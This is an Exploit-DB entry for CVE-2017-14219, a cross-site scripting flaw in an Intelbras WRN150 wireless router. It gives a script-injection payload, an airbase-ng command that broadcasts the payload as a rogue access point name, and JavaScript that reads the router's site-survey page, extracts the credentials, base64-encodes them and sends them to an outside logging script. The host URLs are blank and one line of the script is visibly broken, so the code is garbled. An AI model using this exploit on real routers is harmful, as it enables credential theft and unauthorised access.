Roteador Wireless Intelbras WRN150 - Cross-Site Scripting

EDB-ID: 42633
Author: Elber Tavares
Published: 2017-09-07
CVE: CVE-2017-14219
Type: Webapps
Platform: Hardware
Vulnerable App: N/A

 # Date: 07/09/2017 
# Exploit Author: Elber Tavares
# Vendor Homepage:
# Version: Intelbras Wireless N 150Mbps - WRN 240
# Tested on: kali linux, windows 7, 8.1, 10

# CVE-2017-14219

For more info:


Payload: </script><script src='//'>

" contains the malicious code on index"

airbase-ng -e "</script><script src='//'>" -c 8 -v wlan0mon

//requires an php script to get the logs


var rawFile = new XMLHttpRequest();
rawFile.onreadystatechange = function() {
var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0];
//seleiciona a parte da página com as credenciais
new Image().src=""+btoa(base64);
//envia as credenciais encodadas em base64
};"GET", "", true);
//pega a source da página /popupSiteSurveyRpm.htm

Related Posts